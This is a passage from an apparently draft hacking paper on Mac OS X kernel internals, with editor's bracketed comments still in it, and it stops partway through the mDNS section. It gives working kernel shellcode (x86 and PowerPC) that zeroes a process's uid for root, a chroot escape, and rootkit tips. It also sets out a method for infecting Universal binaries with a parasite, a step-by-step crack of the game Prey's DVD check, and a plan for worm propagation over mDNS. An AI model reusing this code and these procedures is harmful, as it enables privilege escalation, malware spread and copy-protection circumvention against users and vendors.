The following function will return the address of a pid's proc struct 
in the kernel.

long get_addr(pid_t pid) {
        int i, sz = sizeof(struct kinfo_proc), mib[4];
        struct kinfo_proc p;
        mib[0] = CTL_KERN;
        mib[1] = KERN_PROC;
        mib[2] = KERN_PROC_PID;
        mib[3] = pid;
        i = sysctl(&mib, 4, &p, &sz, 0, 0);
        if (i == -1) {
                perror("sysctl()");
                exit(0);
        }
        return(p.kp_eproc.e_paddr);
}

Now that we have the address of our proc struct, we simply have to 
change our uid and/or euid in their respective structures.

Here is a snippet from the proc struct:

struct  proc {
        LIST_ENTRY(proc) p_list;        /* List of all processes. */

        /* substructures: */
        struct  ucred *p_ucred;         /* Process owner's identity. */
        struct  filedesc *p_fd;         /* Ptr to open files structure. */
        struct   pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
        struct  plimit *p_limit;        /* Process limits. */
        struct  sigacts *p_sigacts;
	/* Signal actions, state (PROC ONLY). */
	...
}

As you can see, following the p_list there is a pointer to the 
ucred struct. This struct is shown below.

struct _ucred {
        int32_t cr_ref;                 /* reference count */
        uid_t   cr_uid;                 /* effective user id */
        short   cr_ngroups;             /* number of groups */
        gid_t   cr_groups[NGROUPS];     /* groups */
};

By changing the cr_uid field in this struct, we set the euid of
our process. 

The following assembly code will seek to this struct and null
out the ucred cr_uid field. This leaves us with root
privileges on an Intel platform.

SECTION .text
_main:  
        mov     ebx, [0xdeadbeef]       ;# ebx = proc address
        mov     ecx, [ebx + 8]          ;# ecx = ucred
        xor     eax,eax
        mov     [ecx + 12], eax         ;# zero out the euid
        ret

To use this code we need to replace the address 0xdeadbeef with
the address of the proc struct which we looked up earlier.

Here is some code from Ilja van Sprundel's talk which does the
same thing on a PowerPC platform.

int kshellcode[] = { 
	0x3ca0aabb, // lis r5, 0xaabb 
	0x60a5ccdd, // ori r5, r5, 0xccdd 
	0x80c5ffa8, // lwz r6, ­88(r5) 
	0x80e60048, // lwz r7, 72(r6) 
	0x39000000, // li r8, 0 
	0x9106004c, // stw r8, 76(r6) 
	0x91060050, // stw r8, 80(r6) 
	0x91060054, // stw r8, 84(r6) 
	0x91060058, // stw r8, 88(r6) 
	0x91070004  // stw r8, 4(r7) 
} 

We can combine the two shellcodes into one architecture 
spanning shellcode. This is a simple process and is 
documented in section 4 of this paper.

The full listing for our multi-arch code is shown
in the Appendix.

On PowerPC processors XNU uses an optimization referred to 
as the "user memory window". This means that the user address
space and the kernel address space share some mappings.

This design is in place for copyin/copyout etc to use.
The user memory window typically starts at 0xe0000000 in both
the kernel and user address space. This can be useful when 
trying to position shellcode for use in local privilege 
escalation vulnerabilities.

--[ 5.2 - Breaking chroot()

Before we look into how we can go about breaking out of
processes after they have used the chroot() syscall, we 
will a look at why, a lot of the time, we don't need to.

-[root@fry:/chroot]# touch file_outside_chroot

-[root@fry:/chroot]# ls -lsa file_outside_chroot 
0 -rw-r--r--   1 root  admin  0 Jan 29 12:17 file_outside_chroot

-[root@fry:/chroot]# chroot demo /bin/sh

-[root@fry:/]# ls -lsa file_outside_chroot
ls: file_outside_chroot: No such file or directory

-[root@fry:/]# pwd                        
/

-[root@fry:/]# ls -lsa ../file_outside_chroot
0 -rw-r--r--   1 root  admin  0 Jan 29 20:17 ../file_outside_chroot

-[root@fry:/]# ../../usr/sbin/chroot ../../ /bin/sh

-[root@fry:/]# ls -lsa /chroot/file_outside_chroot 
0 -rw-r--r--   1 root  admin  0 Jan 29 12:17 /chroot/file_outside_chroot

As you can see, the /usr/sbin/chroot command which ships
with Mac OS X does not chdir() and therefore does not 
really do very much at all.

The author suggests the following addition be made to the
chroot man page on Mac OS X:

	"Caution: Does not work."

On an unrelated note, this patch would also be suitable for
the setreuid() man page.

I won't spend too much time on this since noir already 
covered it really well in his paper. [6]

Basically as noir mentions, all we need to do to break our 
process out of the chroot() is to set the p->p_fd->fd_rdir
element in our proc struct to NULL.

We can get the address of our proc struct using sysctl as
mentioned earlier.

noir already provides us with the instructions for this:

mov	edx,[ecx + 0x14] 	;# edx = p->p_fd
mov	[edx + 0xc],eax		;# p->p_fd->fd_rdir = 0


--[ 5.3 -  Advancements 

Now that we are familiar with writing shellcode for use
in local exploits, where we already have local access to 
the box, the rest of the kernel related code in this paper
will focus on accomplishing it's task without any userspace 
access required. 

In order to do this, we can utilize the per cpu/task/proc/ 
and thread structures in the kernel. The definitions for 
each of these structures can be found in the osfmk/kern 
and bsd/sys/ directories in various header files.

The first struct which we will look at is the "cpu_data"
struct found in osfmk/i386/cpu_data.h.

I have included the definition for this struct below:

/*
 * Per-cpu data.
 *   
 * Each processor has a per-cpu data area which is dereferenced through the
 * using this, in-lines provides single-instruction access to frequently 
 * used members - such as get_cpu_number()/cpu_number(), and 
 * get_active_thread()/ current_thread(). 
 * 
 * Cpu data owned by another processor can be accessed using the
 * cpu_datap(cpu_number) macro which uses the cpu_data_ptr[] array of 
 * per-cpu pointers.
 */
typedef struct cpu_data
{
        struct cpu_data         *cpu_this;        /* pointer to myself */
        thread_t                cpu_active_thread;
        void                    *cpu_int_state;     /* interrupt state */
        vm_offset_t             cpu_active_stack;  /* kernel stack base */
        vm_offset_t             cpu_kernel_stack;  /* kernel stack top */
        vm_offset_t             cpu_int_stack_top;
        int                     cpu_preemption_level;
        int                     cpu_simple_lock_count;
        int                     cpu_interrupt_level;
        int                     cpu_number;             /* Logical CPU */
        int                     cpu_phys_number;        /* Physical CPU */
        cpu_id_t                cpu_id;              /* Platform Expert */
        int                     cpu_signals;            /* IPI events */
        int                     cpu_mcount_off;    /* mcount recursion */
        ast_t                   cpu_pending_ast;
        int                     cpu_type;
        int                     cpu_subtype;
        int                     cpu_threadtype;
        int                     cpu_running;
        uint64_t                rtclock_intr_deadline;
        rtclock_timer_t         rtclock_timer;
        boolean_t               cpu_is64bit;
        task_map_t              cpu_task_map;
        addr64_t                cpu_task_cr3;
        addr64_t                cpu_active_cr3;
        addr64_t                cpu_kernel_cr3;
        cpu_uber_t              cpu_uber;
        void                    *cpu_chud;
        void                    *cpu_console_buf;
        struct cpu_core         *cpu_core;         /* cpu's parent core */
        struct processor        *cpu_processor;
        struct cpu_pmap         *cpu_pmap;
        struct cpu_desc_table   *cpu_desc_tablep;
        struct fake_descriptor  *cpu_ldtp;
        cpu_desc_index_t        cpu_desc_index;
        int                     cpu_ldt;
#ifdef MACH_KDB
        /* XXX Untested: */
        int                     cpu_db_pass_thru;
        vm_offset_t     cpu_db_stacks;
        void            *cpu_kdb_saved_state;
        spl_t           cpu_kdb_saved_ipl;
        int                     cpu_kdb_is_slave;
        int                     cpu_kdb_active;
#endif /* MACH_KDB */
        boolean_t               cpu_iflag;
        boolean_t               cpu_boot_complete;
        int                     cpu_hibernate;
        pmsd                    pms; /* Power Management Stepper control */
        uint64_t            rtcPop; /* when the etimer wants a timer pop */

        vm_offset_t     cpu_copywindow_bas;
        uint64_t        *cpu_copywindow_pdp;

        vm_offset_t     cpu_physwindow_base;
        uint64_t        *cpu_physwindow_ptep;
        void            *cpu_hi_iss;
        boolean_t       cpu_tlb_invalid;

        uint64_t        *cpu_pmHpet; 
	/* Address of the HPET for this processor */
        uint32_t        cpu_pmHpetVec;  
	/* Interrupt vector for HPET for this processor */
/*      Statistics */
        pmStats_t       cpu_pmStats;  
	/* Power management data */
        uint32_t        cpu_hwIntCnt[256];         /* Interrupt counts */

        uint64_t                cpu_dr7; /* debug control register */
} cpu_data_t;

As you can see, this structure contains valuable information 
for our shellcode running in the kernel. We just need to 
figure out how to access it.

The following macro shows how we can access this structure.

/* Macro to generate inline bodies to retrieve per-cpu data fields. */
#define offsetof(TYPE,MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
#define CPU_DATA_GET(member,type)                                       \
        type ret;                                                       \
        __asm__ volatile ("movl %%gs:%P1,%0"                            \
                : "=r" (ret)                                            \
                : "i" (offsetof(cpu_data_t,member)));                   \
        return ret;

When our code is executing in kernel space the gs selector can be used
to access our cpu_data struct. The first element of this struct
contains a pointer to the struct itself, so we no longer need to
use gs after this.

The first objective we will look at is the ability to find the
init process (pid=1) via this struct. Since our code may not
be running with an associated user space thread, we cannot count
on the uthread struct being populated in our thread_t struct.
An example of this might be when we exploit a network stack or
kernel extension.

The first step we must make to find the init process struct
is to retrieve the pointer to our thread_t struct.

We can do this by simply retrieving the pointer at gs:0x04.
The following instructions will achieve this:

_main:  
        xor     ebx,ebx				;# zero ebx
        mov     eax,[gs:0x04 + ebx]             ;# thread_t.

After these instructions are executed, we have a pointer to 
our thread struct in eax. The thread struct is defined in 
osfmk/kern/thread.h. A portion of this struct is shown below:

struct thread {
...
        queue_chain_t   links;          /* run/wait queue links */
        run_queue_t     runq;   /* run queue thread is on SEE BELOW */
        wait_queue_t    wait_queue;  /* wait queue we are currently on */
        event64_t               wait_event;       /* wait queue event */
        integer_t               options;/* options set by thread itself */
...
  /* Data used during setrun/dispatch */
        timer_data_t            system_timer;  /* system mode timer */
        processor_set_t         processor_set;/* assigned processor set */
        processor_t bound_processor; /* bound to a processor? */
        processor_t last_processor;     /* processor last dispatched on */
        uint64_t    last_switch;        /* time of last context switch */
...
	void                                    *uthread;
#endif
};

This struct, again, contains many fields which are useful 
for our shellcode. However, in this case we are trying to
find the proc struct. Because we might not necessarily 
already have a uthread associated with us, as mentioned 
earlier, we must look elsewhere for a list of tasks to 
locate init (launchd). 

The next step in this process is to retrieve the 
"last_processor" element from our thread_t struct.
We do this using the following instructions: 

        mov     bl,0xf4
        mov     ecx,[eax + ebx]                 ;# last_processor

The last_processor pointer points to a processor 
struct as the name suggests ;) We can walk from the
last_processor struct back to the default pset in 
order to find the pset which contains init.

        mov     eax,[ecx]                       ;# default_pset + 0xc

We then retrieve the task head from this struct.

        push    word 0x458
        pop     bx
        mov     eax,[eax + ebx]                 ;# tasks head.

And retrieve the bsd_info element of the task.
This is a proc struct pointer.

        push    word 0x19c
        pop     bx
        mov     eax,[eax + ebx]                 ;# get bsd_info

The proc struct is defined in xnu/bsd/sys/proc_internal.h.
The first element of the proc struct is:

        LIST_ENTRY(proc) p_list;        /* List of all processes. */

We can walk this list o find a particular process that we want. 
For most of our code we will start with a pointer to the init 
process (launchd on Mac OS X). This process has a pid of 1.

To find this we simply walk the list checking the pid field 
at offset 36. The code to do this is as follows:

next_proc:
        mov     eax,[eax+4]                     ;# prev         
        mov     ebx,[eax + 36]                  ;# pid
        dec     ebx
        test    ebx,ebx                         ;# if pid was 1
        jnz     next_proc
done:
;#      eax = struct proc *init;

Now that we have developed code which will retrieve a pointer
to the proc struct for the init process, we can look at some 
of the things that we can accomplish using this pointer.

The first thing which we will look at is simply rewriting the 
privilege escalation code listed earlier. Our new version of 
this code will not require any help from userspace (sysctl etc).

I think the below code is fairly self explanatory.

%define PID 1337

find_pid:
        mov     eax,[eax + 4]                   ;# eax = next proc
        mov     ebx,[eax + 36]                  ;# pid
        cmp     bx,PID
        jnz     find_pid
        mov     ecx, [eax + 8]          ;# ecx = ucred
        xor     eax,eax
        mov     [ecx + 12], eax         ;# zero out the euid

As you can see the cpu_data struct opens up many possibilities 
for our shellcode. Hopefully I will have time to go into some 
of these in a future paper.

--[ 6 - Misc Rootkit Techniques

In this section I will run over a few short pieces of 
information which might be relevant to someone who is 
developing a rootkit for Mac OS X. I didn't really have 
another place to put this stuff, so this will have to do.

The first thing to note is that an API exists [21] for 
executing userspace applications from kernelspace. This 
is called the Kernel User Notification Daemon. This is 
implemented using a mach port which the kernel uses to 
communicate  with a userspace daemon named kuncd.

The file xnu/osfmk/UserNotification/UNDRequest.defs 
contains the Mach Interface Generator (MIG) interface
definitions for the communication with this daemon.

The mach port is called: 
"com.apple.system.Kernel[UNC]Notifications" and is
registered by the daemon /usr/libexec/kuncd.

Here is an example of how to use this interface 
programmatically. The interface allows you to display
messages via the GUI to the user, and also run any 
application.

kern_return_t ret;
ret = KUNCExecute(
	"/Applications/TextEdit.app/Contents/MacOS/TextEdit", 
	kOpenAppAsRoot,
	kOpenApplicationPath
);
ret = KUNCExecute(
	"Internet.prefPane", 
	kOpenAppAsConsoleUser, 
	kOpenPreferencePanel
);

There may be a situation where you wish code to be executed on all the 
processors on a system. This may be something like updating the IDT / MSR 
and not wanting a processor to miss out on it.

The xnu kernel provides a function for this. The comment and prototype 
explain this a lot better than I can. So here you go:

/*
 * All-CPU rendezvous:
 *      - CPUs are signalled,
 *      - all execute the setup function (if specified),
 *      - rendezvous (i.e. all cpus reach a barrier),
 *      - all execute the action function (if specified),
 *      - rendezvous again,
 *      - execute the teardown function (if specified), and then
 *      - resume.
 *
 * Note that the supplied external functions _must_ be reentrant and aware
 * that they are running in parallel and in an unknown lock context.
 */

void
mp_rendezvous(void (*setup_func)(void *),
              void (*action_func)(void *),
              void (*teardown_func)(void *),
              void *arg)
{

The code for the functions related to this are stored in 
xnu/osfmk/i386/mp.c.

--[ 7 - Universal Binary Infection

[SINCE YOU CHAT A BIT ABOUT MACH-O HERE, MAYBE MOVE THIS SECTION
TO SOMEWHERE EARLIER IN THE PAPER?  YOU CAN EXPAND A LITTLE AND 
IT MIGHT MAKE THE LINKEDIT / LC_SYMTAB ETC SECTION MORE CLEAR AS
YOU ALSO GO INTO THE MAGIC NUMER MUMBO-JUMBO HERE AS WELL]
The Mach-O object format is used on operating systems which have
a kernel based on Mach. This is the format which is used by 
Mac OS X. Significant work has already been done regarding the
infection of this format. The papers [12] and [13] show some of
this. Mach-O files can be identified by the first four bytes of 
the file which contain the magic number 0xfeedface.

Recently Mac OS X has moved from the PowerPC platform to Intel 
architecture. This move has caused a new binary format to be 
used for most of the applications on Mac OS X 10.4. The Universal
Binary format is defined in the Mach-O Runtime reference from 
Apple. [4].

The Universal Binary format is a fairly trivial archive format
which allows for multiple Mach-O files of varying architecture
types to be stored in a single file. The loader on Mac OS X is 
able to interpret this file and distinguish which of the Mach-O
files inside the archive matches the architecture type of the 
current system. (We'll look at this a little more later.)

The structures used by Mac OS X to define and parse Universal
binaries are contained in the file /usr/include/mach-o/fat.h.

Universal binaries are recognizable, again, by the magic number
in the first four bytes of the file. Universal binaries begin 
with the following header:

struct fat_header {
	uint32_t        magic;          /* FAT_MAGIC */
	uint32_t        nfat_arch;      /* number of structs that follow */
};

The magic number on a universal binary is as follows:

#define FAT_MAGIC       0xcafebabe
#define FAT_CIGAM       0xbebafeca      /* NXSwapLong(FAT_MAGIC) */

Either FAT_MAGIC or FAT_CIGAM is used depending on the endian of
the file/system.

The nfat_arch field of this structure contains the number of 
Mach-O files of which the archive is comprised. On a side note
if you set this high enough to wrap, just about every debugging
tool on Mac OS X will crash, as demonstrated below:

-[nemo@fry:~]$ printf "\xca\xfe\xba\xbe\x66\x66\x66\x66" > file
-[nemo@fry:~]$ otool -tv file
Segmentation fault

For each of the Mach-O files in the Universal binary there 
is also a fat_arch structure.

This structure is shown below:

struct fat_arch {
        cpu_type_t      cputype;     /* cpu specifier (int) */
        cpu_subtype_t   cpusubtype;  /* machine specifier (int) */
        uint32_t        offset;      /* file offset to this object file */
        uint32_t        size;        /* size of this object file */
        uint32_t        align;       /* alignment as a power of 2 */
};

The fat_arch structure defines the architecture type of the
Mach-O file, as well as the offset into the Universal binary
in which it is stored. It also contains the alignment of the
architecture for the particular file, expressed as a power
of 2.

The diagram below describes the layout of a typical Universal
binary:
[YOU SWITCH CAPITALIZATION OF UNIVERSAL QUITE OFTEN IN THIS SECTION]

._________________________________________________,
|0xcafebabe                                       |
|   struct fat_header                             |
|-------------------------------------------------|
| fat_arch struct #1                              |------------+
|-------------------------------------------------|            |
| fat_arch struct #2                              |---------+  |
|-------------------------------------------------|         |  |
| fat_arch struct #n                              |------+  |  |
|-------------------------------------------------|<-----------+
|0xfeedface                                       |      |  |
|                                                 |      |  |
|    Mach-O File #1                               |      |  |
|                                                 |      |  |
|                                                 |      |  |
|-------------------------------------------------|<--------+  
|0xfeedface                                       |      |
|                                                 |      |
|    Mach-O File #2                               |      |
|                                                 |      |
|                                                 |      |
|-------------------------------------------------|<-----+
|0xfeedface                                       |
|                                                 |
|    Mach-O file #n                               |
|                                                 |
|                                                 |
'-------------------------------------------------'

Here you can see the file beginning with a fat_header
structure. Following this are n * fat_arch structures
each defining the offset into the file to find the
particular Mach-O file described by the structure.
Finally n * Mach-O files are appended to the structs.

Before I run through the method for infecting Universal
binaries I will first show how the kernel loads them.

The file:  xnu/bsd/kern/kern_exec.c contains the code
shown in this section.

First the kernel sets up a NULL terminated array of 
execsw structs.  Each of these structures contain a 
function pointer to an  image activator / parser for 
the different image types, as well as a relevant string 
description.

The definition and declaration of this array is shown 
below:

/*
 * Our image activator table; this is the table of the image types we are
 * capable of loading.  We list them in order of preference to ensure the
 * fastest image load speed.
 *
 * XXX hardcoded, for now; should use linker sets
 */
struct execsw {
        int (*ex_imgact)(struct image_params *);
        const char *ex_name;
} execsw[] = {
        { exec_mach_imgact,             "Mach-o Binary" },
        { exec_fat_imgact,              "Fat Binary" },
#ifdef IMGPF_POWERPC
        { exec_powerpc32_imgact,        "PowerPC binary" },
#endif  /* IMGPF_POWERPC */
        { exec_shell_imgact,            "Interpreter Script" },
        { NULL, NULL}
};

The following code from the execve() system call loops 
through each of the elements in this array and calls 
the function pointer for each one. A pointer to the 
start of the image is passed to it. 

int
execve(struct proc *p, struct execve_args *uap, register_t *retval)
{
	...

        for(i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {

                error = (*execsw[i].ex_imgact)(imgp);


Each of the functions parses the file to determine
if the file is of the appropriate architecture type.
The function which is responsible for matching and
parsing Universal binaries is the "exec_fat_imgact"
function.

The declaration of this function is below:

/*
 * exec_fat_imgact
 *
 * Image activator for fat 1.0 binaries.  If the binary is fat, then we
 * need to select an image from it internally, and make that the image
 * we are going to attempt to execute.  At present, this consists of
 * reloading the first page for the image with a first page from the
 * offset location indicated by the fat header.
 *
 * Important:   This image activator is byte order neutral.
 *
 * Note:    If we find an encapsulated binary, we make no assertions
 *          about its  validity; instead, we leave that up to a rescan
 *          for an activator to claim it, and, if it is claimed by one,
 *          that activator is responsible for determining validity.
 */
static int
exec_fat_imgact(struct image_params *imgp)

The first thing this function does is test the 
magic number at the top of the file. The following
code does this.

        /* Make sure it's a fat binary */
        if ((fat_header->magic != FAT_MAGIC) &&
            (fat_header->magic != FAT_CIGAM)) {
                error = -1;
                goto bad;
        }

The fatfile_getarch_affinity() function is then 
called to search the universal binary for a 
Mach-O file with the appropriate architecture 
type for the system.

   /* Look up our preferred architecture in the fat file. */
        lret = fatfile_getarch_affinity(imgp->ip_vp,
                                        (vm_offset_t)fat_header,
                                        &fat_arch,
                                        (p->p_flag & P_AFFINITY));

This function is defined in the file: 
xnu/bsd/kern/mach_fat.c. 

	load_return_t
	fatfile_getarch_affinity(
                struct vnode            *vp,
                vm_offset_t             data_ptr,
                struct fat_arch *archret,
                int                             affinity)

This function searches each of the Mach-O files within the 
Universal binary. A host has a primary and secondary architecture. 
If during this search, a Mach-O file is found which matches
the primary architecture type for the host, this file is 
used. If, however, the primary architecture type is not 
found, yet the secondary type is found, this will be used.
This is useful when infecting this format.

Once an appropriate Mach-O file has been located the imgp
ip_arch_offset and ip_arch_size attributes are updated to
reflect the new position in the file.

/* Success.  Indicate we have identified an encapsulated binary */
error = -2;
imgp->ip_arch_offset = (user_size_t)fat_arch.offset;
imgp->ip_arch_size = (user_size_t)fat_arch.size;

After this fatfile_getarch_affinity() simply returns and lets
execve() continue walking the execsw[] struct array to find 
an appropriate loader for the new file.

This logic means that it does not really matter if the 
true architecture type of the file matches up with the 
architecture specified in the fat_header struct within
the Universal binary. Once a Mach-O file is chosen it will
be treated as a fresh binary.

The method which I propose to infect Universal binaries 
utilizes this behavior. A breakdown of this method is
as follows:

1) Determine the primary and secondary architecture types
   for the host machine.
2) Parse the fat_header struct of the host binary.
3) Walk through the fat_arch structs and locate the 
   struct for the secondary architecture type.
4) Check that the size of the parasite is smaller than the 
   secondary architecture Mach-O file in the Universal binary.
5) Copy the parasite binary directly over the secondary arch
   binary inside the universal binary.
6) Locate the primary architecture's fat_arch structure.
7) Modify the architecture type field in this structure to be
   0xdeadbeef.

Now when the binary is executed, the primary architecture 
is not found. Due to this, the secondary architecture is 
used. The imgp is set to point to the offset in the file
containing our parasite, and this is executed as expected.
The parasite then opens it's own binary (which is quite 
possible on Mac OS X) and performs a linear search for 
0xdeadbeef. It then modifies this value, changing it back
to the primary architecture type and execve()'s it's own file.

Some sample code has been provided with this paper that 
demonstrates this method on Intel architecture. The code 
unipara.c will copy an Intel architecture Mach-O file
over the PowerPC Mach-O file inside a Universal binary.
After infection has occurred the size of the host file
remains unchanged.

-[nemo@fry:~/code/unipara]$ ./unipara host parasite
-[nemo@fry:~/code/unipara]$ ./host
uid=501(nemo) gid=501(nemo) 
-[nemo@fry:~/code/unipara]$ wc -c host
   43028 host
-[nemo@fry:~/code/unipara]$ ./unipara parasite host
[+] Initiating infection process.
[+] Found: 2 arch structs.
[+] We are good to go, attaching parasite.
[+] parasite implanted at offset: 0x6000
[+] Switching arch types to execute our parasite.
-[nemo@fry:~/code/unipara]$ wc -c host
   43028 host
-[nemo@fry:~/code/unipara]$ ./host
Hello, World!
uid=501(nemo) gid=501(nemo) 

If residency is required after the payload has already been
executed, the parasite can simply fork() before modifying 
it's binary. The parent process can then execve() while the child
waits and then returns the architecture type to 0xdeadbeef.

--[ 8 - Cracking Example - Prey

Recently, during an extra long stopover in LAX airport (the most
boring airport in the entire world) I decided I would pass the 
time by playing the game "Prey" which I had installed onto my 
laptop.

To my horror, when I tried to start up my game, I was greeted 
with the following error message:

"Please insert the disc "Prey" or press Quit."
"Veuillez inserer le disque "Prey" ou appuyer sur Quitter."
"Bitte legen Sie "Prey" ins Laufwerk ein oder klicken Sie
auf Beenden."

Since I had nothing better to do, I decided to spend some 
time removing this error message. First things first I
determined the object format of the executable file.

-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ file Prey
Prey: Mach-O universal binary with 2 architectures
Prey (for architecture ppc):    Mach-O executable ppc
Prey (for architecture i386):   Mach-O executable i386

The Prey executable is a Universal binary containing a 
PowerPC and an i386 Mach-O binary. 

Next I ran the otool -o command to determine if the code
was written in Objective-C. The output from this command
shows that an Objective-C segment is present in the file.

-[nemo@largeprompt]$ otool -o Prey | head -n 5
Prey:
Objective-C segment
Module 0x27ef458
    version 6
           size 16

I then used the "class-dump" command [14] to dump the 
class definitions from the file. Probably the most
interesting of which is shown below:

	@interface DOOMController (Private)
	- (void)quakeMain;
	- (BOOL)checkRegCodes;
	- (BOOL)checkOS;
	- (BOOL)checkDVD;
	@end

Most games on Mac OS X are 10 years behind their Windows
counterparts when it comes to copy protection. Typically
the developers don't even strip the file and symbols are 
still present. Because of this fact, I fired up gdb and 
put a breakpoint on the main function.

	(gdb) break main
	Breakpoint 1 at 0x96b64

However when I executed the file the error message was
displayed prior to my breakpoint in main being reached.
This lead me to the conclusion that a constructor 
function was responsible for check. 

To validate this theory I ran the command "otool -l" on
the binary to list the load commands present in the file.
(The Mach-O Runtime Document [4] explains the load_command
struct clearly).

Each section in the Mach-O file has a "flags" value 
associated with it. This describes the purpose of the 
section. Possible values for this flags variable are
found in the file: /usr/include/mach-o/loader.h.

The value which represents a constructor section is 
defined as follows:

/* section with only function pointers for initialization*/
#define S_MOD_INIT_FUNC_POINTERS        0x9     

Looking through the "otool -l" output there is only one
section which has the flags value: 0x9. This section is
shown below:

Section
  sectname __mod_init_func
   segname __DATA
      addr 0x00515cec
      size 0x00000380
    offset 5328108
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0

Now that the virtual address of the constructor section
for this application was known, I simply fired up gdb
again and put breakpoints on each of the pointers 
contained in this section.

(gdb) x/x 0x00515cec
0x515cec <_ZTI14idSIMD_Generic+12>:     0x028cc8db
(gdb) 
0x515cf0 <_ZTI14idSIMD_Generic+16>:     0x00495852
(gdb) 
0x515cf4 <_ZTI14idSIMD_Generic+20>:     0x0049587c
...

(gdb) break *0x028cc8db
Breakpoint 1 at 0x28cc8db
(gdb) break *0x00495852
Breakpoint 2 at 0x495852
(gdb) break *0x0049587c
Breakpoint 3 at 0x49587c
...

I then executed the program. As expected the first break point
was hit before the error message box was displayed.

(gdb) r
Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey 

Breakpoint 1, 0x028cc8db in dyld_stub_log10f ()
(gdb) continue

I then continued execution and the error message appeared. This
happened before the second breakpoint was reached. This indicated
that the first pointer in the __mod_init_func was responsible for 
the DVD checking process.

In order to validate my theory I restarted the process. This time 
I deleted all breakpoints except the first one.

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) break *0x028cc8db
Breakpoint 4 at 0x28cc8db

(gdb) r
Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey 
Reading symbols for shared libraries . done

Once the breakpoint is reached, I simply "return" from the 
constructor, without testing for the DVD.


Breakpoint 4, 0x028cc8db in dyld_stub_log10f ()
(gdb) ret
Make selected stack frame return now? (y or n) y
#0  0x8fe0fcc4 in  _dyld__ZN16ImageLoaderMachO16doInitialization... ()
And then continue execution.

(gdb) c

The error message was gone and Prey started up as if the DVD 
was in the drive, SUCCESS! After playing the game for about 10
minutes and running through the same boring corridor over and 
over again I decided it was more fun to continue cracking the
game than to actually play it. I exited the game and returned 
to my shell.

In order to modify the binary I used the HT Editor. [15] 
Before I could use HTE to modify this file however, I had to
extract the appropriate architecture for my system from the
Universal binary. I accomplished this using the ditto command
as follows.

-[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ ditto -arch i386 Prey Prey.i386
-[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ cp Prey Prey.backup
-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ cp Prey.i386 Prey

I then loaded the file in HTE. I pressed F6 to select the mode
and chose the Mach-O/header option. I then scrolled down to
find the __mod_init_func section. This is shown as follows:

**** section 3 ****                                              
section name                                      __mod_init_func         
segment name                                      __DATA                  
virtual address                                   00515cec                
virtual size                                      00000380                
file offset                                       00514cec                
alignment                                         00000002                
relocation file offset                            00000000                
number of relocation entries                      00000000                
flags                                             00000009                
reserved1                                         00000000                
reserved2                                         00000000              

In order to skip the first constructor I simply added four
bytes to the virtual address field, and subtracted four 
bytes from the size. I did this by pressing F4 in HTE and 
typing the values. Here is the new values:

**** section 3 ****                                             
section name                                      __mod_init_func         
segment name                                      __DATA                  
virtual address                                   00515cf0 <== += 4     
virtual size                                      0000037c <== -= 4     
file offset                                       00514cec                
alignment                                         00000002                
relocation file offset                            00000000                
number of relocation entries                      00000000                
flags                                             00000009                
reserved1                                         00000000                
reserved2                                         00000000               

I then saved this new binary and executed it, again Prey
started up fine without mentioning the missing DVD.

Finally I repeated this process for the PowerPC binary
and packed the two back together into a Universal binary
using the lipo command.

--[ 9 - Passive malware propagation with mDNS

As I'm sure all of you are aware, the only reason for the 
lack of malware on Mac OS X is due to the lack of market
share (And therefore lack of people caring). 

In this section I propose a way to remedy this. This method
utilizes one of the default services which ships on Mac OS X
10.4 at the time of writing: mDNSResponder. 

The mDNSResponder service is an implementation of the 
multicast DNS protocol. This protocol is documented
thoroughly by several of the documents linked from [17].
Also if you're interested in the protocol it makes sense
to read the RFC [18].

At a packet level the multicast DNS protocol is very similar
to regular DNS. It also serves a similar (yet different) 
purpose: mDNS is used to create a way for hosts on a LAN
to automagically configure their network settings and begin
communication without a DHCP server on the network. It is 
also designed to allow the services on a network to be 
browsable.

Recently, mDNS implementations have been shipping for a large
variety of operating systems, including Mac OS X, Vista, Linux
and a variety of hardware devices such as printers. The mDNS
implementation which is packaged with Mac OS X is called 
Bonjour.

Bonjour contains a useful API for registering and browsing
services advertised by mDNS. The daemon mDNSResponder is
responsible for all the network communication via a mach port
named "com.apple.mDNSResponder" that is made available to the 
system for communication with the daemon. The documentation
for the API which is used to manipulate this daemon is found 
at [19]. 

The command line tool /usr/bin/mdns also exists for manipulating 
the mDNSResponder daemon directly [20].  This tool has the following 
functionality:

-[nemo@fry:~]$ mdns
mdns -E                  (Enumerate recommended registration domains)
mdns -F                      (Enumerate recommended browsing domains)
mdns -B        <Type> <Domain>        (Browse for services instances)
mdns -L <Name> <Type> <Domain>           (Look up a service instance)
mdns -R <Name> <Type> <Domain> <Port> [<TXT>...] (Register a service)
mdns -A                      (Test Adding/Updating/Deleting a record)
mdns -U                                  (Test updating a TXT record)
mdns -N                             (Test adding a large NULL record)
mdns -T                            (Test creating a large TXT record)
mdns -M      (Test creating a registration with multiple TXT records)
mdns -I   (Test registering and then immediately updating TXT record)

Here is an example demonstrating using this tool to look for SSH 
instances:

-[nemo@fry:~]$ mdns -B _ssh._tcp. 
Browsing for _ssh._tcp.local
Talking to DNS SD Daemon at Mach port 3843
Timestamp     A/R Flags Domain              Service Type     Instance Name
11:16:45.816  Add     1 local.              _ssh._tcp.               fry

As you can see, this functionality would be very useful for 
malware installed on a new host. 

Once a worm has compromised a new host, it must then scan for
new targets to attack. This scanning is one of the most common
ways for a worm to be detected on a network. In the case of 
Mac OS X, where a large amount of scanning would be required to
find a single target, this will more likely be the case. 

We can use the Bonjour API to wait silently for a service to 
advertise itself to our code, then infect the target as 
necessary. This will greatly reduce the network traffic 
required for worm propogation.

The header file which contains the definition for the structs
and functions needed is /usr/include/dns_sd.h. The functions
needed are contained within libSystem and are therefor linked with
almost every binary on the system. This is good news if you have
just infected a new process and wish to perform the mDNS lookup
from inside it's address space.

The Bonjour API allows us to register a service, enumerate 
domains as well as many other useful things. I will only 
focus on browsing for an instance of a particular type of 
service in this paper, however. This is a relatively 
straight forward process. 

The first function needed to find an instance of a service is the
DNSServiceBrowse() function (shown below).

DNSServiceErrorType DNSServiceBrowse ( 
